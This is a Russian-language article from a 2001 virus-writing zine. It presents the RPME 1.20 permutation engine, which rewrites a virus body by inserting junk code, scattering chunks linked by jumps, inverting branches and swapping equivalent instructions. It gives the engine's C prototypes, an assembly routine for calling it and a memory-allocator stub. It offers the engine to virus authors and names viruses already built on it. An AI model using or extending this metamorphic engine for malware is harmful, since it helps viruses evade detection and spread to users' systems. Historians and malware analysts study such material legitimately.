·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
   │ │ │ │ ├─┤│    / │ ││││├┴┐┬├─ ┬│  ├─┤ │ ┬│ ││└┤  Issue #1, January-2001
 ··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························

 ············································································
                       ПЕРМУТИРУЮЩИЙ ДВИЖОК RPME 1.20              [rpme.zip]
 ············································································

     Итак,  это  -- улучшенная версия движка RPME. Напомню, что RPME -- это
 движок для пермутации, то есть полного извращения тела вируса, которое для
 этого  не  должно  содержать никаких оффсетов на данные. А для того, чтобы
 обойтись без оффсетов, все данные генерятся на стэке.

     Движок  состоит  из  двух  частей:  кернел  и  мутатор. Основа движка,
 кернел,  разбирает  переданное  ему  тело  вируса на инструкции (используя
 дизассемблер длин), и составляет из этих инструкций связанный список. Этот
 список  передается  в  мутатор  и  там извращается. После чего тело вируса
 собирается заново.

     Основные  фичи,  которые  могут  быть  достигнуты этим движком, такие:
 вставка  и  удаление  мусорных  инструкций  в случайные места тела вируса;
 разбрасывание  кусков  вируса  по буферу и связывание оных JMP-ами; замена
 Jxx  на  JNxx и наоборот случайным образом с соответствующим переключением
 ветвей алгоритма; замена инструкций типа <MOV r1,r2> на <PUSH r2/POP r1> и
 наоборот; перестановка некоторых инструкций местами.

     Описания основных функций:

DWORD __cdecl engine(
        DWORD   fp,             // user-defined parameter
        BYTE    ibuf[],         // input buffer
        DWORD   isize,          // size of input buffer
        DWORD   ientry,         // entrypoint, relative
        BYTE    obuf[],         // output buffer
        DWORD   osize,          // max size of output buffer
        DWORD*  poentry,        // ptr to entrypoint, relative. (=0 if NULL)
        DWORD   ofiller,        // outbuf filler byte, -1=transparent
        DWORD   extrelfix,   // DWORD to be added to external relocations (*)
        DWORD   jmprob,         // jmp-probablity, 0=no jmps
        DWORD   __cdecl rnd(DWORD fp,DWORD),          // routine: rnd
        DWORD   __cdecl user_mutate(DWORD fp,  // routine: mutate list
                                    hooy* root,
                                    DWORD __cdecl (*)(DWORD fp,DWORD),
                                    BYTE* __cdecl (*)(DWORD fp,DWORD)
                                    ),
        DWORD   __cdecl user_disasm(DWORD fp,BYTE*),  // routine: disassemble
        BYTE*   __cdecl user_malloc(DWORD fp,DWORD)   // routine: malloc
       );

DWORD __cdecl mutate(DWORD fp,
                     hooy* root,
                     DWORD __cdecl user_random(DWORD fp,DWORD),
                     BYTE* __cdecl user_malloc(DWORD fp,DWORD)
                     );

     Вызывается движок так:

        push    offset my_malloc       ; malloc, аллокация памяти
        push    offset my_disasm       ; дизассемблер длин, LDE32 1.06
        push    offset rpme_mutate     ; мутатор
        push    offset my_random       ; рандомер
        push    0               ; jmpprob, вероятность генерации "пятен"
        push    0               ; extrelfix, спец.фича
        push    0CCh            ; заполнитель пустых мест (-1=прозрачно)
        push    0               ; DWORD, принимает новую точку входа (0=нету)
        push    MAX_VIR_SIZE    ; макс. длина выходного буфера
        push    edi             ; выходной буфер (с пермутированным телом)
        push    0               ; точка входа, от начала входного буфера
        push    MAX_VIR_SIZE    ; размер входного буфера
        push    esi             ; входной буфер с телом вируса
        push    ebp             ; юзерский параметр
        call    rpme_kernel
        add     esp, 14*4

; BYTE* __cdecl malloc(DWORD user_param, DWORD size)
;                      [esp+4]           [esp+8]

my_malloc:
        mov     eax, [esp+8]    ; сколько байт выделять
        add     eax, memcount   ; количество выделенной памяти
        cmp     eax, MAXMEM
        jae     __error
        xchg    [ecx].memcount, eax
        add     eax, memptr     ; указатель на огромный кусок памяти
        retn
__error:xor     eax, eax
        retn

     Юзерский  мутатор  --  это  что-то  типа плугина для работы со списком
 инструкций. К движку прилагается стандартный мутатор, но можно приделать и
 свой собственный код.

     В  заключение  скажу,  что  движок  вроде-бы  работает,  и  на нем уже
 написаны некоторые вирусы, например ZPerm и Bistro.

 ············································································